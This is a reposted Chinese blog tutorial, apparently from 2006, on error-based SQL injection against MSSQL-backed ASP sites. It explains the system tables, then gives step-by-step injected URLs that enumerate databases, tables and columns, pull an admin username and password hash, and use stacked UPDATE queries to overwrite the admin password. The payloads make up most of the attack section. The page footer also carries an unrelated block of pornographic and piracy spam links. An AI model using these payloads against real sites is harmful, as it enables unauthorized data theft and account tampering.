<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    隨筆-2  評論-16  文章-12  trackbacks-0
    一、分析MSSQL三個關鍵系統表.
    sysdatabases

    MSSQL中對sysdatabases系統表 的說明:
    Microsoft SQL Server 上的每個數據庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數據庫的項。該表只存儲在 master 數據庫中。

    這個表保存在master數據庫中,這個表中保存的是什么信息呢?這個非常重要。他是
    保存了,所有的庫名,以及庫的ID,和一些相關信息。
    這里我把對于我們有用的字段名稱和相關說明給大家列出來.看好咯!

    name dbid
    //表示庫的名字. //表示庫的ID.

    dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫.

    我們利用SQL語句:select * from master.dbo.sysdatabases 就可以查詢出所有的庫名.


    sysobjects

    MSSQL中對sysobjects系統表的說明:
    在數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在表中占一行。只有在 tempdb 內,每個臨時對象才在該表中占一行。

    這個是列出數據庫對象的系統表。當然數據庫表名也在里面的.
    這里我就為大家列出一些對我們有用的字段名稱和相關說明.
    name id xtype uid
    對象名. 對象ID 對象類型 所有者對象的用戶ID。

    對象類型(xtype)。可以是下列對象類型中的一種:
    C = CHECK 約束
    D = 默認值或 DEFAULT 約束
    F = FOREIGN KEY 約束
    L = 日志
    FN = 標量函數
    IF = 內嵌表函數
    P = 存儲過程
    PK = PRIMARY KEY 約束(類型是 K)
    RF = 復制篩選存儲過程
    S = 系統表
    TF = 表函數
    TR = 觸發器
    U = 用戶表
    UQ = UNIQUE 約束(類型是 K)
    V = 視圖
    X = 擴展存儲過程

    當然我們這里只用得到xtype='U'的值。當等于U的時候,對象名就是表名,對象ID就是表的ID值.

    我們利用SQL語句: select * from ChouYFD.dbo.sysobjects where xtype='U' 這樣就可以列出庫名稱是:ChouYFD中所有的表名.

    syscolumns

    SQL中syscolumns系統表的說明:
    每個表和視圖中的每列在表中占一行,存儲過程中的每個參數在表中也占一行。該表位于每個數據庫中。

    這個就是列出一個表中所有的字段列表的系統表。
    這里我就為大家列出一些對我們有用的字段名稱和相關說明:
    name id colid
    //字段名稱 //表ID號. 字段ID號.

    其中的 ID 是 剛上我們用sysobjects得到的表的ID號.
    我們利用SQL語句: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表.
    YES SIR 明白!GO GO GO !!!

    好了,簡單的介紹了一下這個用法.大家如果有不了解的,請查看SQL相關說明.

    二、靈活利用系統表
    同志們,玩過CS游戲的舉手,呵呵,都玩過啊。好!我們今天也要來爆一下"頭".
    GO GO GO !!!
    不過我們現在爆的是庫名,表名,字段名,我們用不著去猜庫名,表名,字段名.
    說一下怎么爆出相關的庫名,表名,字段名.
    當兩個類型值不一樣的時候,將他們做比較,SQL系統會提示出錯。并且會顯示出類型的值. 如:’aaa’>100 這樣比較,也就是字符串和數字的比較,這個怎么比較嘛,系統當然會提示出錯啦!大家都知道只有相同類型的時候才可以進行運算.所以這里我們就來一個反方向的不相同類型比較,爆出他的值.

    下面就讓我們來測試吧!!!準備好沒有?GO!

    任務一:得到所有庫名.
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

    因為 dbid 的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 NAME字段是一個字符型的字段和數字比較會出錯.那我們提交看一下IE返回了什么?

    IE返回.

    Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'

    將 nvarchar 值 'Northwind' 轉換為數據類型為 int 的列時發生語法錯誤。

    /jump.asp,行33

    GOOD!!!這樣就把NAME字段的值爆露出來了: Northwind. 也就是我們得到了一個庫名.
    改變DBID的值.我們可以得出所有的庫名.當DBID等于10,11的時候,爆出了兩個論壇的庫名.分別為:
    bbs2002
    bbs

    呵呵,論壇的庫名出來啦!!!那我們就不客氣了。就找BBS這個庫吧!

    任務二:得到bbs這個庫中所有的表名.
    先來第一句:
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U')
    查詢的SQL語句,返回的是NAME的值然后和數字0比較,這樣就會爆露出NAME的值.
    好我們提交吧,只聽到砰的一聲!一個表名(name的值)出來了。名叫:Address.
    // 這里多說兩句話,如果你提交的時候,他說你沒有權限,就說明,這兩個庫的SQL賬
    //號的權限不一樣,那就放棄吧。你沒有資格進行下去. 老兄放棄吧!等他更新賬號權
    //的時候,我第一時間通知你!一定要相信我臭要飯的!話.

    好,再來接著爆其他的表.
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
    又出來一個表名,名叫:admin

    依次提交 ... and name not in('address','admin',..)) 可以查出所有的表名.

    好,現在我們得到了ADMIN這個表,大家都清楚了這個表是做什么的吧!!我們的目的就是要得到這個表中賬號字段和密碼字段的值。
    下面就是要得到這個表中的所有字段名了咧! 怎么得到字段名呢?系統表: syscolumns
    中有用字段為: name、 id、colid 其中ID是保存著表的ID。也就是說我們要得到表的ID號然后,用SELECT * from bbs.dbo.syscolumns where id=bbs表的ID 這樣才能列出BBS這個表中所有的字段. 說了半天,哎,說不清楚了。看我表演吧!

    http://www.AAA.com/jump.asp?id=3400 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
    //把ID值轉成字符型后再和一個整型值比較。我KAO。經典吧,呵呵,這也想得出來。
    又聽到砰的一聲!ID號出來了。值為:773577794
    OK.GOOD!! 進入下關吧。

    任務三:得到ADMIN這個表中的所有字段列表:
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)
    又是把NAME和數字比較.

    IE 返回:adduser 呵呵,來來來。
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser'))
    又返回一個字段名:flag
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794 and name not in('adduser','flag'))

    好當提交到:
    http://www.AAA.com/jump.asp?id=3400 and 0<>(select top 1 name from BBS.dbo.syscolumns
    where id=773577794 and name not in('adduser','flag','id','lastlogin','lastloginip','password','username'))

    IE返回:BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
    說明,我們已經猜完了。呵呵,看到了吧。
    把BBS庫中的ADMIN表中的所有字段列出來了。
    分別如下:
    adduser,adduser,flag,id,lastlogin,lastloginip,password,username
    看了一下,很像動網的論壇。

    任務四:查詢字段值.
    來。我們看看username和password的值吧。

    http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where username>1)
    賬號出來了:youbiao

    http://www.AAA.com/jump.asp?id=3400 and 0<(select id from BBS.dbo.admin where password>1 and username='youbiao')
    密碼又出來了:d6b2f32a47b8bcb5 我的天MD5的!不怕,呵呵~!!!

    來。改一下他的密碼:
    http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='AAABBBCCCDDDEEEF' where username='youbiao';--
    呵呵,試試。成功了。我們再來給他改回來.

    http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin set password='d6b2f32a47b8bcb5' where username='youbiao';--
    又改回來咯!!!呵~!


    通過提交UPDATE語句就可以直接把密碼給他更改了。
                                                                                              轉自:作者:YTT 來源:http://www.HackBase.com
    posted on 2006-03-15 10:37 fadesea 閱讀(542) 評論(0)  編輯  收藏 所屬分類: 數據庫

    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 久久久久久久久久久免费精品| 亚洲av色福利天堂| 免费一级毛片在级播放| 无码视频免费一区二三区| 特级做A爰片毛片免费69 | 久久久久亚洲AV成人无码网站| 国产综合亚洲专区在线| 国产精品亚洲αv天堂无码| 亚洲精品岛国片在线观看| 亚洲精品无码99在线观看| 浮力影院亚洲国产第一页| 亚洲性猛交XXXX| 亚洲AV永久无码精品| 亚洲三级电影网址| 亚洲成a人片在线网站| 亚洲av无码片在线观看| 亚洲中文字幕乱码熟女在线| 亚洲人成未满十八禁网站| 毛片亚洲AV无码精品国产午夜 | 中文字幕不卡亚洲| 国产V亚洲V天堂无码| 亚洲精品高清久久| 亚洲字幕在线观看| 亚洲午夜精品久久久久久app | 亚洲色欲一区二区三区在线观看| 亚洲国产婷婷六月丁香| 亚洲伊人tv综合网色| 亚洲成_人网站图片| 美女视频黄频a免费观看| 成人网站免费大全日韩国产| 日本高清免费观看| 99精品全国免费观看视频| 免费一看一级毛片全播放| 亚洲精品中文字幕乱码三区 | 亚洲国产精品久久久久网站| 亚洲M码 欧洲S码SSS222| 亚洲午夜久久久久久噜噜噜| 亚洲成熟xxxxx电影| 亚洲一卡2卡3卡4卡5卡6卡| 特a级免费高清黄色片| 午夜不卡久久精品无码免费|